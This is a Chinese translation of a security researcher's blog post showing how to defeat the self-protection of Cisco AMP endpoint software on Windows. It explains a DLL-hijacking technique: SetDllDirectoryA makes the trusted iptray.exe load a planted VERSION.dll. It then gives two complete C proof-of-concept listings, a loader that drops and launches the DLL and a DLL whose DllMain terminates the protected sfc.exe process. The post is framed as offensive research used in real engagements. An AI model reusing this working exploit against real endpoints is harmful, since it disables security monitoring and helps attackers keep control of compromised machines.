翻译:CoolCat
原文:https://www.mdsec.co.uk/2018/10/cisco-amp-bypassing-self-protection/
实战中遇到技术壁垒时,使用一些高效的审计手法加上一点点运气。就可能快速攻破壁垒。这不,最近我们就遇到了思科AMP,分析了其端点保护技术,相关衍生链,以及暴露出来的一些其他产品的问题,包括常遇到的---自我保护。
如果你经常关注如何在Windows和MacOS操作系统上绕过该技术,那你应该知道我们已经在很多文章中提到过了自我保护技术。这篇文章我们将展示另一种手法来解决这个保护问题,并且对Windows上的思科AMP代理是有效的。
当你放弃了端点并提升到本地管理员后,通过ps指令你会发现sfc.exe这个进程是红色的(也希望它是红色的)。即便是有了SYSTEM权限,你会发现这个过程也是无法终止的,自我保护估计已经被启用了……那现在该怎么办呢?
如之前关于这个主题的帖子所显示的,我们经常发现自我保护具有信任链,即使是在升级过程中,软件也肯定会在某个时候被删一下。
如果我们在思科AMP控制面板看到了禁用保护服务的选项:
毫无疑问为了防止像我们这样的人在损害端点时简单地关闭服务,在禁用时需要提供密码。但是这也反应了一件事,iptray.exe
这个程序可以禁用思科AMP的自我保护服务。
我们将iptray.exe
载入x64dbg
中分析一下它是如何关闭的:
如图,事情并没有我们想象的那么简单。自我保护程序阻止我们简注入或调试iptray.exe
进程。但这也向我们传达了另一个消息,那就是iptray.exe
和sfc.exe
被同一个策略保护了。根据以往的经验,如果我们能够找到一种在屏蔽的过程中能够执行我们自己代码的方法,那可以终止sfc.exe进程。我们该怎样让iptray.exe
加载并执行我们自定义的代码呢?看下有没有可劫持的dll。
载入ProcessMonitor,我们看到程序尝试加载了很多dll,很多第一次加载的时候都失败了:
了解了这一点之后,我们创建一个新的DLL(使用任意Dll都可的,这里以VERSION.DLL
为例),并使其加载我们的代码。首先我们将DLL加载路径切换到一个有读写权限且容易找到的位置。让Windows从任意目录加载DLL,利用Win32 API
调用SetDLLDirectory
,它允许我们自定义加载的路径,当我们调用iptray.exe
时,后续DLL应该被加载,比如:
SetDllDirectoryA("C:\\Users\\xpn\\AppData\\Local\\Temp");
这步完成之后可以看到DLL全部从我们自定义的路径中加载了:
创建一个简单的DLL,让它弹个消息框:
现在我们已经让iptray.exe
运行了自定义的代码(并且代码是在self-protection保护伞中执行的)。接下来搜索sfc.exe
进程并尝试终止服务。这里我们可以用Win32 API
的Process32First/Process32Next
。一旦找到,我们就可以使用TerminateProcess
来停止这个进程。
POC:
#include "stdafx.h"
#include "resource.h"
#include <Windows.h>
#include <Fltuser.h>
HMODULE g_hModule = NULL;
int CALLBACK WinMain(
_In_ HINSTANCE hInstance,
_In_ HINSTANCE hPrevInstance,
_In_ LPSTR lpCmdLine,
_In_ int nCmdShow
) {
char tempPath[MAX_PATH + 1], tempDll[MAX_PATH + 1];
DWORD bytesWritten;
// Grab our DLL from a resource
HRSRC res = FindResource(g_hModule, MAKEINTRESOURCEW(IDR_RT_RCDATA1), L"RT_RCDATA");
HGLOBAL resMod = LoadResource(g_hModule, res);
void *resource = LockResource(resMod);
DWORD sizeOfResource = SizeofResource(g_hModule, res);
GetTempPathA(sizeof(tempPath), tempPath);
snprintf(tempDll, sizeof(tempDll), "%s\\%s", tempPath, "VERSION.dll");
// Set DLL path to somewhere we control
SetDllDirectoryA(tempPath);
// Write our DLL to a temp path
HANDLE tempDllHandle = CreateFileA(tempDll, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL);
WriteFile(tempDllHandle, resource, sizeOfResource, &bytesWritten, NULL);
CloseHandle(tempDllHandle);
STARTUPINFOA si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
memset(&pi, 0, sizeof(pi));
// Spawn iptray.exe which should load our VERSION.dll
CreateProcessA(NULL, (LPSTR)"C:\\Program Files\\Cisco\\AMP\\6.1.7\\iptray.exe", NULL, NULL, false, 0, NULL, tempPath, &si, &pi);
return 0;
}
注入的DLL看起来是这样的:
#include "stdafx.h"
#include <tlhelp32.h>
__declspec(dllexport) void GetFileVersionA(void) {
}
__declspec(dllexport) void GetFileVersionInfoByHandle(void) {
}
__declspec(dllexport) void GetFileVersionInfoExW(void) {
}
__declspec(dllexport) void GetFileVersionInfoSizeA(void) {
}
__declspec(dllexport) void GetFileVersionInfoSizeExW(void) {
}
__declspec(dllexport) void GetFileVersionInfoSizeW(void) {
}
__declspec(dllexport) void GetFileVersionInfoW(void) {
}
__declspec(dllexport) void VerFindFileA(void) {
}
__declspec(dllexport) void VerFindFileW(void) {
}
__declspec(dllexport) void VerInstallFileA(void) {
}
__declspec(dllexport) void VerInstallFileW(void) {
}
__declspec(dllexport) void VerLanguageNameA(void) {
}
__declspec(dllexport) void VerLangugageNameW(void) {
}
__declspec(dllexport) void VerQueryValueA(void) {
}
__declspec(dllexport) void VerQueryValueW(void) {
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
HANDLE h, p, toolhelp;
SC_HANDLE sc, s;
DWORD written;
SERVICE_STATUS status;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
Process32First(toolhelp, &pe);
do {
if (strncmp(pe.szExeFile, "sfc.exe", 7) == 0) {
p = OpenProcess(PROCESS_TERMINATE, false, pe.th32ProcessID);
TerminateProcess(p, 1);
break;
}
} while (Process32Next(toolhelp, &pe));
ExitProcess(0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
POC效果:
https://www.youtube.com/embed/gIOvcEW7NiE?feature=oembed
大概就是这样。这肯定不是终止思科AMP受保护进程的唯一方法,但我认使用SetDLLDirectory
禁用自保护是一种劫持可信进程的好方法!